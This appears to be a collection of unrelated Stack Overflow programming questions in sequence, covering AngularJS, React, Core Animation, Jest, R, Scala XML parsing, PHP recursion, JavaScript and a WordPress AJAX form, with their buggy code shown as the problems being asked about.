"../templates/_landing.html", controller: "mainCtrl" }); $urlRouterProvider.other("/"); }); app.controller("myCtrl", function($scope){ $scope = "fooBar"; }); </code></pre> <p>index.html:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en" ng-app="flyHawaii"&gt; &lt;head&gt; &lt;title&gt;flyhawaii&lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; &lt;/head&gt; &lt;body ng-controller="mainCtrl"&gt; &lt;div ui-view&gt;&lt;/div&gt; &lt;script src="app/app.min.js"&gt;&lt;/script&gt; &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong><em>UPDATE</em></strong></p> <p>navbar.html is a template which leads to a component for _landing.html:</p> <pre><code>&lt;div class="navbar-header"&gt; &lt;button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"&gt; &lt;span class="sr-only"&gt;Toggle navigation&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;h1&gt;&lt;a class="navbar-brand" href="#"&gt;&lt;/a&gt;{{message}}&lt;/h1&gt; &lt;/div&gt; </code></pre> <p>_landing.html:</p> <pre><code>&lt;navbar&gt;&lt;/navbar&gt; </code></pre>
3
1,995
react-select doesn't re-render when updating the state
<p>I'm trying to set a multi filter that includes react-select. it works properly only when another part of the filter is activated (typing in the input for example).</p> <p>Tried console.logging inside the service, nothing happens when adding to the multi select, but only when i use the other types of filters.</p> <p>Filter component :</p> <pre><code>import React from 'react'; import Select from 'react-select' const options =[ {value:'on wheels', label : 'on wheels'}, {value:'box game', label : 'box game'}, {value:'art', label : 'art'}, {value:'baby', label : 'baby'}, {value:'doll', label : 'doll'}, {value:'puzzle', label : 'puzzle'}, {value:'outdoor', label : 'outdoor'}, {value:'battery powered', label : 'battery powered'},] export class ToyFilter extends React.Component { state = { filterBy: { availability: '', txt: '', sortBy: '', labels:[] }, }; handleChange = ({ target }) =&gt; { const name = target.name; const value = target.value; console.log('name:', name); console.log('value:', value); this.setState( (prevState) =&gt; ({ filterBy: { ...prevState.filterBy, [name]: value } }), () =&gt; { this.props.onSetFilter(this.state.filterBy); } ); }; handleMultyChange=(ev)=&gt;{ const labels = ev.map(option =&gt; option.value.toLowerCase()) this.setState(prevState =&gt; ({ filterBy: { ...prevState.filterBy, labels } })) } render() { const { txt } = this.state.filterBy; return ( &lt;section&gt; &lt;section&gt; &lt;label&gt;Sort: &lt;/label&gt; &lt;select name='sortBy' onChange={this.handleChange}&gt; &lt;option value=''&gt;No filter&lt;/option&gt; &lt;option value='alphabet'&gt;Alphabet&lt;/option&gt; &lt;option value='date'&gt;Date&lt;/option&gt; &lt;option value='price'&gt;price&lt;/option&gt; &lt;/select&gt; &lt;/section&gt; &lt;select name='availability' onChange={this.handleChange}&gt; &lt;option value='all' key='filter-all'&gt; All &lt;/option&gt; &lt;option value='true' key='filter-in-stock'&gt; in stock &lt;/option&gt; &lt;option value='false' key='filter-sold-out'&gt; sold out &lt;/option&gt; &lt;/select&gt; &lt;input type='text' name='txt' value={txt} onChange={this.handleChange} placeholder='Search toy...' /&gt; &lt;Select name=&quot;labels&quot; isMulti options={options} onChange={this.handleMultyChange}/&gt; &lt;/section&gt; ); } } </code></pre> <p>Filter function inside the service :</p> <pre><code>unction _filteredToys(toys, filterBy) { let { txt, availability, sortBy,labels} = filterBy; console.log('filterBy:', filterBy); if (sortBy === 'alphabet') toys.sort((b1, b2) =&gt; b1.name.localeCompare(b2.name)); if (sortBy === 'date') toys.sort((b1, b2) =&gt; b1.createdAt - b2.createdAt); if (sortBy === 'price') toys.sort((b1, b2) =&gt; b1.price - b2.price); const filetered = toys.filter((toy)=&gt;{ return labels.every(i =&gt; toy.labels.includes(i)); }) if (availability === 'true') { //json.parse availability = true; } else if (availability === 'false') { availability = false; } else { return toys.filter((toy) =&gt; { return toy.name.includes(txt); }); } const filteredtoys = filetered.filter((toy) =&gt; { return toy.name.includes(txt) &amp;&amp; toy.inStock === availability }); return Promise.resolve(filteredtoys); } </code></pre>
3
1,535
CABasicAnimation only works with layers created in the same method
<p>I need to animate different CATextLayers depending on some conditions. This is why I wrote a method that accepts the layer and animates it. Here it is:</p> <pre><code>- (void) animateText:(CATextLayer*) text withColor: (CGColorRef) color andDuration: (NSTimeInterval) duration { CABasicAnimation *colorAnimation = [CABasicAnimation animationWithKeyPath:@"foregroundColor"]; colorAnimation.duration = duration; colorAnimation.fillMode = kCAFillModeForwards; colorAnimation.removedOnCompletion = NO; colorAnimation.fromValue = (id)[UIColor redColor].CGColor; colorAnimation.toValue = (id)[UIColor blackColor].CGColor; colorAnimation.timingFunction = [CAMediaTimingFunction functionWithName:kCAMediaTimingFunctionLinear]; [text addAnimation:colorAnimation forKey:@"colorAnimation"]; </code></pre> <p>"text" is a CATextLayer created, initialized and added to sublayers in some other method. The problem is this code does not make the "text" layer animate.</p> <p>(Please, don't pay attention that the method receives the color. I have temporarily put red and black for testing.)</p> <p>I started testing. If I create a layer within this method and then try to animate this newly created method, it works ok. If I copy-paste the code to the method where all layers are created and try to animate one of them - it works fine too.</p> <p>But I need to animate different layers at different moments, so I see this function as essential.</p> <p>Please, explain me what I am doing wrong. Thank you in advance.</p> <p>UPDATED: Here's how the layers are created and placed onto UIView</p> <pre><code>//creating 110 text layers CGFloat leftPoint = 0; CGFloat topPoint = 0; for (int i=0; i&lt;11; ++i) { for (int j=0; j&lt;10; ++j) { CATextLayer *label = [[CATextLayer alloc] init]; [label setString:[_labels objectAtIndex:j+(i*10)]]; // _labels contains letters to display [label setFrame:CGRectMake(leftPoint, topPoint, _labelWidth, _labelHeight)]; // _labelWidth and _labelHeight are valid numbers [label setAlignmentMode:kCAAlignmentCenter]; [label setForegroundColor:_textColor]; // _textColor is a CGColorRef type [label setFont:(__bridge CFTypeRef)(_font.fontName)]; // font is UIFont type [label setFontSize:[_font pointSize]]; [_textViews addObject:label]; // saving to internal array variable [[self layer] addSublayer:label]; leftPoint += _labelWidth; } leftPoint = 0; topPoint += _labelHeight; } </code></pre> <p>If I place a code like this in the same method where I do animating, it works. And it stops working when I pass the layer in the method like this:</p> <pre><code>for (int i = 0; i&lt;labelsToHighlight.count; ++i) // labelsToHighlight is an array containing indexes of the CATextLayers which I need to animate { NSUInteger index = [[labelsToHighlight objectAtIndex:i] intValue]; [self animateText:[_textViews objectAtIndex:index] withColor: _highlightedTextColor andDuration:_redrawAnimationDuration]; } </code></pre>
3
1,227
React Typescript and Jest
<p>I'm trying to set up Jest in an React app using Typescript.</p> <p>My set up is like this</p> <p>My package.json</p> <pre><code>{ "name": "react-tdd-ts", "version": "0.1.0", "private": true, "dependencies": { "@types/jest": "24.0.23", "@types/node": "12.12.9", "@types/react": "16.9.11", "@types/react-dom": "16.9.4", "enzyme": "^3.10.0", "react": "^16.12.0", "react-dom": "^16.12.0", "react-scripts": "3.2.0", "typescript": "3.7.2" }, "scripts": { "start": "react-scripts start", "build": "react-scripts build", "test": "react-scripts test", "eject": "react-scripts eject" }, "eslintConfig": { "extends": "react-app" }, "browserslist": { "production": [ "&gt;0.2%", "not dead", "not op_mini all" ], "development": [ "last 1 chrome version", "last 1 firefox version", "last 1 safari version" ] }, "devDependencies": { "@types/enzyme": "^3.10.3", "@types/enzyme-adapter-react-16": "^1.0.5", "@types/react-test-renderer": "^16.9.1", "enzyme-adapter-react-16": "^1.15.1", "react-test-renderer": "^16.12.0" } } </code></pre> <p>My App.tsx</p> <pre><code>import React from "react"; import "./App.css"; import Footer from "./components/Footer"; const App: React.FC = () =&gt; { return ( &lt;div className="App"&gt; &lt;Footer /&gt; &lt;/div&gt; ); }; export default App; </code></pre> <p>My Footer.tsx</p> <pre><code>import React from "react"; const Footer: React.FC = () =&gt; { return ( &lt;div&gt; &lt;hr /&gt; &lt;span&gt;Text here&lt;/span&gt; &lt;/div&gt; ); }; export default Footer; </code></pre> <p>My Footer.test.tsx</p> <pre><code>import React from "react"; import { shallow } from "enzyme"; import Footer from "./Footer"; it("should render text", () =&gt; { const wrapper = shallow(&lt;Footer /&gt;); const span = wrapper.find("span"); const result = span.text(); expect(result).toBe("Text here"); }); </code></pre> <p>MY setupTest.tsx</p> <pre><code>import { configure } from "enzyme"; import Adapter from "enzyme-adapter-react-16"; configure({ adapter: new Adapter() }); </code></pre> <p>In the terminal I'm getting the following error</p> <pre><code> PASS src/App.test.tsx FAIL src/components/Footer.test.tsx ● should render text Enzyme Internal Error: Enzyme expects an adapter to be configured, but found none. To configure an adapter, you should call `Enzyme.configure({ adapter: new Adapter() })` before using any of Enzyme's top level APIs, where `Adapter` is the adapter corresponding to the library currently being tested. For example: import Adapter from 'enzyme-adapter-react-15'; To find out more about this, see http://airbnb.io/enzyme/docs/installation/index.html 4 | 5 | it("should render text", () =&gt; { &gt; 6 | const wrapper = shallow(&lt;Footer /&gt;); | ^ 7 | const span = wrapper.find("span"); 8 | const result = span.text(); 9 | at validateAdapter (node_modules/enzyme/src/validateAdapter.js:5:11) at getAdapter (node_modules/enzyme/src/getAdapter.js:10:3) at makeShallowOptions (node_modules/enzyme/src/ShallowWrapper.js:345:19) at new ShallowWrapper (node_modules/enzyme/src/ShallowWrapper.js:379:21) at shallow (node_modules/enzyme/src/shallow.js:10:10) at Object.&lt;anonymous&gt;.it (src/components/Footer.test.tsx:6:19) </code></pre> <p>Sorry I don't have a working demo but can anyone see what I'm doing wrong. Is there a different way to set up enzyme and Jest when using typescript </p>
3
1,540
move the x and y of multiple div's on mouse x, y in js
<p>my goal is to make a webpage where multiple div's with text etc. within, moves on mouse x and y. It should looks like a parallax effect on mouse x and y. All the parallax plugins that i came across are image based so they don't work with the div's. I wrote a little js myself but the div's are jumping all over the page, no css can keep em' in place. Maybe someone with more js experience knows how I can solve this. below the code. hope toe hear from you all.</p> <p>HTML:</p> <pre><code>&lt;div class = "main" id ="scene"&gt; &lt;div class = "container" id = "home"&gt; &lt;div class = "kop "&gt; HOME &lt;/div&gt; &lt;div class = "brood "&gt; &lt;p&gt; Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt. Duis leo. Sed fringilla mauris sit amet nibh. Donec sodales sagittis magna. Sed consequat, leo eget bibendum sodales, augue velit cursus nunc, quis gravida magna mi a libero. Fusce vulputate eleifend sapien. Vestibulum purus quam, scelerisque ut, mollis sed, nonummy id, metus. Nullam accumsan lorem in dui. Cras ultricies mi eu turpis hendrerit fringilla. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; In ac dui quis mi consectetuer lacinia. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-- end container home --&gt; &lt;div class = "container" id = "visie"&gt; &lt;div class = "kop"&gt; VISIE &lt;/div&gt; &lt;div class = "brood"&gt; &lt;p&gt; Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo. Nullam dictum felis eu pede mollis pretium. Integer tincidunt. Cras dapibus. Vivamus elementum semper nisi. Aenean vulputate eleifend tellus. Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Etiam ultricies nisi vel augue. Curabitur ullamcorper ultricies nisi. Nam eget dui. &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>.container{ margin-right: 20%; margin-top: 200px; margin-bottom: 200px; margin-left: 20%; font-size: 16px; background-color: yellow; } .kop{ font-family: GTWBold; } .brood{ font-family: GTWMedium; } #home{ margin-top: 20px; } #visie{ margin-right: 40%; } </code></pre> <p>JS:</p> <pre><code>$('#scene2').mousemove(function(e){ var x = -(e.pageX + this.offsetLeft) / 20; var y = -(e.pageY + this.offsetTop) / 20; var h = document.getElementById('home'); h.style.position = "absolute"; h.style.left = x+'px'; h.style.top = y+'px'; h.style.width = "500px"; }); </code></pre>
3
1,420
R Find time lapsed in minutes from pairs of "Enter Store" to following "Leave Store" for every Group (Cart.Serial)
<p>Here is my first post! Following some requirements I am adding my data:</p> <pre><code>&gt; dput(head(ctms3)) structure(list(Date = structure(c(1444136735, 1444136703, 1444136698, 1444136670, 1444136645, 1444136644), class = c("POSIXct", "POSIXt" ), tzone = "CST"), Cart.Serial = structure(c(114L, 118L, 8L, 4L, 35L, 76L), .Label = c("00817AF4", "008191A9", "008191BE", "008191C4", "0081927D", "008192C8", "008192D1", "008192ED", "008193A5", "008193BB", "008193D4", "008193D7", "008193D9", "008193DA", "008193DC", "008193F2", "008193FB", "008193FE", "0081946C", "008194A6", "008194DA", "0081954B", "0081955D", "008195A1", "008195B5", "008195D7", "008195F5", "0081961B", "0081963E", "0081966C", "0081972B", "0081974E", "0081975A", "0081976F", "0081977A", "008197A1", "008197A4", "008197A9", "008197BC", "008197D1", "008197D3", "008197F2", "008197F3", "008197F4", "008197F8", "008197FA", "0081985A", "00836B89", "00836CC4", "0083702B", "0083747E", "008374FF", "0083752C", "0083754A", "008375BB", "008375C7", "008375F9", "0083761D", "0083761F", "0083769B", "0083771D", "0083778A", "0083A4EB", "0083A56B", "0083A570", "0083A5A6", "0083A5C7", "0083A887", "0083B3FE", "0083D5EA", "0083D5FE", "0083D600", "008403C4", "008403DB", "0084049A", "008404A5", "008404A8", "008405EE", "0084077E", "00840CFD", "00840EAD", "00840F0C", "00840F24", "00840F31", "00840F3A", "0084108D", "008410ED", "0084110C", "0084114B", "008413D1", "008413DD", "008413FE", "0084156A", "0084187C", "008446AD", "008446C7", "008447A8", "008447B5", "0084497F", "0084498D", "0084499F", "008449A7", "008449B4", "008449BF", "008449C8", "008449DE", "00844C04", "00844C33", "00844CBF", "00844CEB", "00844D10", "00844D19", "00846BDD", "00846C7C", "00846CDE", "00846CFB", "00846D1A", "00846D20", "00846D24", "00846D2F", "00846D38", "00846D3D", "00846D88", "00846E4F", "00846EA1", "819161", "819187", "819200", "819302", "819313", "819332", "819346", "819353", "819371", "819458", "819606", "819617", "819643", "819731", "819736", "819744", "819764", "819769", "819789", "819798", "819854", "819863", "819875", "819878", "819879", "819889", "819924", "819927", "819954", "8.19E+05", "8.19E+08", "8.20E+09", "8.20E+10", "837059", "837344", "837347", "837387", "837460", "837487", "837513", "837609", "837613", "837624", "837628", "837649", "837652", "837757", "837772", "840242", "840476", "840482", "8.40E+12", "841255", "841257", "841449", "841724", "841775", "841785", "844834", "844835", "844902", "844981", "844994", "8.45E+06", "8.45E+08", "8.45E+11"), class = "factor"), Message = structure(c(3L, 3L, 2L, 2L, 3L, 2L), .Label = c("Checkout", "Enter Store", "Leave Store", "Must Checkout", "Ping", "Post Cashier Must Checkout", "Push Out", "Unlock"), class = "factor")), .Names = c("Date", "Cart.Serial", "Message"), row.names = c(1L, 5L, 6L, 10L, 13L, 14L), class = "data.frame") </code></pre> <p>Now, I have three columns: "Date", "Cart.Serial" and "Message". I need to group by Cart.Serial and then find the time lapsed between every pair of Enter Store and Leave Store from the Message variable. The result data should then be put in another data frame so I can work with it as sample and extract means and other descriptive statistics.</p> <p>Thanks.</p>
3
1,568
Scala XML processing is skipping a value
<p>I am trying to develop a rest api in scala that grabs the xml of a couple of rss feeds and then displays them in json. So far I can display them as text, which is fine, but I can't get the author to show up. I am creating a list of the articles (where Article is a case class), and searching the xml to provide the values for the Article class.</p> <pre><code>&lt;item&gt; &lt;title&gt;Chinese TV Star Apologizes For Remarks Critical Of Mao&lt;/title&gt; &lt;description&gt;Bi Fujian, one of the country's most popular television presenters, recently ran afoul of his employer, state-run CCTV, for a parody song he performed at a private banquet.&lt;/description&gt; &lt;pubDate&gt;Thu, 09 Apr 2015 12:51:15 -0400&lt;/pubDate&gt; &lt;link&gt;http://www.npr.org/blogs/thetwo-way/2015/04/09/398534903/chinese-tv-star-apologizes-for-remarks-critical-of-mao?utm_medium=RSS&amp;amp;utm_campaign=news&lt;/link&gt; &lt;guid&gt;http://www.npr.org/blogs/thetwo-way/2015/04/09/398534903/chinese-tv-star-apologizes-for-remarks-critical-of-mao?utm_medium=RSS&amp;amp;utm_campaign=news&lt;/guid&gt; &lt;content:encoded&gt;&lt;![CDATA[&lt;p&gt;Bi Fujian, one of the country's most popular television presenters, recently ran afoul of his employer, state-run CCTV, for a parody song he performed at a private banquet.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.npr.org/templates/email/emailAFriend.php?storyId=398534903"&gt;&amp;raquo; E-Mail This&lt;/a&gt;&lt;/p&gt;]]&gt;&lt;/content:encoded&gt; &lt;dc:creator&gt;Scott Neuman&lt;/dc:creator&gt; &lt;/item&gt; </code></pre> <p>This is an example of the xml I am parsing. Here is the code I am using to parse it:</p> <pre><code>def xml = XML.loadString(retrieveArticles("http://www.npr.org/rss/rss.php?id=1007")) ++ XML.loadString(retrieveArticles("http://www.npr.org/rss/rss.php?id=1003")) ++ XML.loadString(retrieveArticles("http://www.npr.org/rss/rss.php?id=1001")) val articles = (xml \\ "item").foldLeft(List[Article]())((ls,item) =&gt; Article((item \ "title").text, (item \ "dc:creator").text, (item \ "pubDate").text, (item \ "link").text, (item \ "description").text) :: ls) </code></pre> <p>All of the other values are being processed correctly. Author is the only value that is not showing up. When I call the api to show the articles, this is what I get:</p> <pre><code>Title: Chinese TV Star Apologizes For Remarks Critical Of Mao, Author: , Date Published: Thu, 09 Apr 2015 12:51:00 -0400, Link: http://www.npr.org/blogs/thetwo-way/2015/04/09/398534903/chinese- tv-star-apologizes-for-remarks-critical-of-mao?utm_medium=RSS&amp;utm_campaign=news, Contents: Bi Fujian, one of the country's most popular television presenters, recently ran afoul of his employer, state-run CCTV, for a parody song he performed at a private banquet. </code></pre> <p>Why is the author not being shown when all of the other values are displayed with no problems?</p>
3
1,070
Recursive PHP function writing to external array
<p>Two questions here really; why is this happening? And what can be done about it?</p> <p>Sorry the question's so long but most of it is just <code>print_r</code> output!</p> <p>Basically, I start with a flat array of tags (<code>$tags</code>) each with an <code>id</code> (array index), <code>name</code> and <code>parent_id</code>. I then recursively iterate over <code>$tags</code> and nest all child tags within their parent. (see below)</p> <p>It works! (see below for output). But the problem I'm having is that my flat array of tags is being written to from within the function that does the nesting/recursion. (see below)</p> <p>Flat array of tags:</p> <pre><code>Array ( [1] =&gt; stdClass Object ( [name] =&gt; instruments [parent_id] =&gt; 0 ) [2] =&gt; stdClass Object ( [name] =&gt; strings [parent_id] =&gt; 1 ) [3] =&gt; stdClass Object ( [name] =&gt; violin [parent_id] =&gt; 2 ) [4] =&gt; stdClass Object ( [name] =&gt; cello [parent_id] =&gt; 2 ) [5] =&gt; stdClass Object ( [name] =&gt; woodwind [parent_id] =&gt; 1 ) [6] =&gt; stdClass Object ( [name] =&gt; flute [parent_id] =&gt; 5 ) ) </code></pre> <p>This is the recursively called function to nest the child tags. The problem is inside the <code>if</code>: I assign <code>$tag</code> to <code>$tree[$i]</code> and then add the <code>children</code> property to it. This results in the <code>children</code> property being added to <code>$tag</code>. This is what I want to stop happening.</p> <pre><code>public function tags_to_tree($tags, $parent_id = 0) { $tree = array(); foreach($tags as $i =&gt; $tag) { // add this tag node and all children (depth-first recursive) if(intval($parent_id) === intval($tag-&gt;parent_id)) { $tree[$i] = $tag; $tree[$i]-&gt;children = $this-&gt;tags_to_tree($tags, $i); } } return $tree; } </code></pre> <p>Nested tags output:</p> <pre><code>Array ( [1] =&gt; stdClass Object ( [name] =&gt; instruments [parent_id] =&gt; 0 [children] =&gt; Array ( [2] =&gt; stdClass Object ( [name] =&gt; strings [parent_id] =&gt; 1 [children] =&gt; Array ( [3] =&gt; stdClass Object ( [name] =&gt; violin [parent_id] =&gt; 2 ) [4] =&gt; stdClass Object ( [name] =&gt; cello [parent_id] =&gt; 2 ) ) ) [5] =&gt; stdClass Object ( [name] =&gt; woodwind [parent_id] =&gt; 1 [children] =&gt; Array ( [6] =&gt; stdClass Object ( [name] =&gt; flute [parent_id] =&gt; 5 ) ) ) ) ) ) </code></pre> <p>What can I do differently when adding the <code>children</code> property to <code>$tree[$i]</code>, or when assigning <code>$tag</code> to <code>$tree[$i]</code> to stop this from happening?</p> <p>Thanks!</p>
3
2,443
Javascript 2d for loop doesn't iterate through the final value of the outer loop
<p>I have a for loop that behaves differently depending on what type of input it has. The logic that changes its behavior can't effect the problem that I am having. Here is my code, then I will explain the problem.</p> <pre><code>propagateForward(input) { for(let i = 0; i &lt; input.length; i++) { this.NN[0][i] = input[i]; } for(let i = 0; i &lt; this.NN.length-1; i++) { //The problem occurs between the next two console.logs when the neural network is not //the Actor agent, but is instead the critic agent. In the console &quot;outside&quot; will print //and &quot;inside&quot; won't print. Whereas they both should print. if(i == this.NN.length-2 &amp;&amp; !this.isActor) console.log(&quot;outside&quot;); for(let j = 0; j &lt; this.NN[i+1].length-1; j++) { if(i == this.NN.length-2 &amp;&amp; !this.isActor) console.log(&quot;inside&quot;); var weightsSum = 0; for(let r = 0; r &lt; this.NN[i].length; r++) { if(r == this.NN[i].length-1 &amp;&amp; i != 0) { weightsSum += this.NN[i][r]; } else { var NodeVal = this.NN[i][r]; weightsSum += this.weights[i][r][j] * NodeVal; } } if(i == this.NN.length-2) { if(!this.isActor) console.log(weightsSum); this.NN[i+1][j] = weightsSum; } else { if(this.isActor) this.NN[i+1][j] = tanh(weightsSum); else { this.NN[i+1][j] = ReLU(weightsSum); } } } } if(this.isActor) { this.NN[this.NN.length-1] = softMax(this.NN[this.NN.length-1]); } return this.NN[this.NN.length-1]; } </code></pre> <p>It is the propagate forward for a neural network. This question is related to my bug with the for loop and not have anything to do with NN. I need to calculate the last layer of the Critic neural network, but 'i' will not loop to i = 2 which is the last possible idx inside of the inner loop. I have console log on the outside. When I run the program it only detects i = 2 on the outside loop, but can't access it on the inside loop. Thus the console of my program reads:</p> <pre><code>outside outside outside outside outside outside outside outside outside outside ... </code></pre> <p>I want it to say outside and inside.</p> <p>The only thing in between the two points where I am printing the same information from and getting different results is the declaration of the inner for loop. It works fine when the boolean this.isActor = true (It calculates the actor network just fine). The boolean this.isActor is the only difference between when it works and doesn't work. Neither of the console.log lines where I am testing are being affected by any if statements.</p> <p>Given that this.NN.length = 4 Question: Why is the inner for loop not able to access i = 2, but the outer for loop can access i = 2?</p>
3
1,558
R Interp functions returns 0s/one value for z variable
<p>I am trying to replicate Cesar's solution from here in order to create an interpolation of two CTD transects: <a href="https://stackoverflow.com/questions/54726853/how-to-interpolate-data-between-sparse-points-to-make-a-contour-plot-in-r-plot">How to interpolate data between sparse points to make a contour plot in R &amp; plotly</a></p> <p>However, after running the interpolation, the z values of my list objects consist almost exclusively of the value -230 and my resulting plot does not contain any 'color' values and cuts away most of my depths.</p> <p>My data is as follows:</p> <p>I have two data frames (df1 &amp; df2) with a subset from df for each transect which look like this</p> <pre><code>&gt; str(df1) 'data.frame': 120 obs. of 5 variables: $ Station : int 13 13 13 13 13 13 13 13 13 13 ... $ x : num 35.5 35.5 35.5 35.5 35.5 ... $ y : num -39.5 -39.5 -39.5 -39.5 -39.5 ... $ z : num -758 -758 -595 -595 -506 ... $ Salinity: num 34.4 34.4 34.5 34.5 34.6 ... </code></pre> <p>When running the interpolation as suggested by Cesar like this</p> <pre><code>z1 &lt;- interp(df1$x, df1$y, df1$z, extrap = TRUE, duplicate = &quot;mean&quot;) #interp z layer 1 with spline interp ifelse(anyNA(z1$z) == TRUE, z1$z[is.na(z1$z)] &lt;- mean(z1$z, na.rm = TRUE), NA) #fill na cells with mean value </code></pre> <p>and the interpolation of my Salinity 'color' like this</p> <pre><code>c1 &lt;- interp(df1$x, df1$y, df1$Salinity, extrap = F, linear = F, duplicate = &quot;mean&quot;) #interp co2 layer 1 with spline interp ifelse(anyNA(c1$z) == TRUE, c1$z[is.na(c1$z)] &lt;- mean(c1$z, na.rm = TRUE), NA) #fill na cells with mean value </code></pre> <p>my resulting z1$z looks like this (only around -230 value)</p> <pre><code>z1$z [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9] [,10] [,11] [,12] [,13] [,14] [1,] -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 [2,] -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 [3,] -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 -230.7318 </code></pre> <p>and the resulting c1$z like this (only 0s)</p> <pre><code>c1$z [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9] [,10] [,11] [,12] [,13] [,14] [,15] [,16] [,17] [,18] [,19] [,20] [,21] [,22] [,23] [,24] [,25] [,26] [1,] 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 [2,] 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 [3,] 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 </code></pre> <p>My resulting plot (same code as Cesar from link above) then looks like this without any Salinity data and everything clustered around -230 depth: <a href="https://i.stack.imgur.com/FvdBj.png" rel="nofollow noreferrer">Plot_ly interpolated plot</a></p> <p>Any help to work out where I have gone wrong would be appreciated. I hope I added enough detail as I am completely new to stackoverflow. Thanks in advance!</p>
3
1,694
Ajax call twice cause duplicate message
<p>I am trying to figure out the problem ajax called twice so duplicated message. I click sendPLR button the first time, the message won't appear. Then it shows up message twice when clicking button again. I check the network tab on Chrome, it also does not show the first ajax call. It show a duplicate call when hitting the button again. This is my HTML code. This is the first time I deal with big form like this. Please help!!!! I use wordpress</p> <pre><code>&lt;form id="frmBegin" method="post"&gt; &lt;div id="plr_radioselection"&gt; &lt;div id="plr_radioform"&gt;Business Unit: &lt;input type="radio" name="plr_location" value="Company"&gt;Company (Corp) | &lt;input type="radio" name="plr_location" value="BU"&gt;Other than Corp&lt;/div&gt; &lt;div id="plr_radiocat"&gt;Reporting Category: &lt;input type="radio" name="plr_category" value="Director"&gt;Director | &lt;input type="radio" name="plr_category" value="Seniorteam"&gt;Senior Team | &lt;input type="radio" name="plr_category" value="BU"&gt;BU/GM/Sales | &lt;input type="radio" name="plr_category" value="Salariedteam"&gt;Salaried Team&lt;/div&gt; &lt;/div&gt; &lt;div id="plrFormBegin"&gt; &lt;h4&gt;Step 1 &amp;#8211; Financial Objectives&lt;/h4&gt; &lt;div&gt; &lt;div class='plr_form'&gt; &lt;p&gt;For an explanation of respective criteria matrices, please click on category name.&lt;/p&gt; &lt;h5&gt;Objective 1 &amp;#8211; EBITDA Achievement&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight: &lt;input type='number' id='fobjt1_weight' value='0.5' required&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Company Metrics EBITDA Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='fobjt1_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option 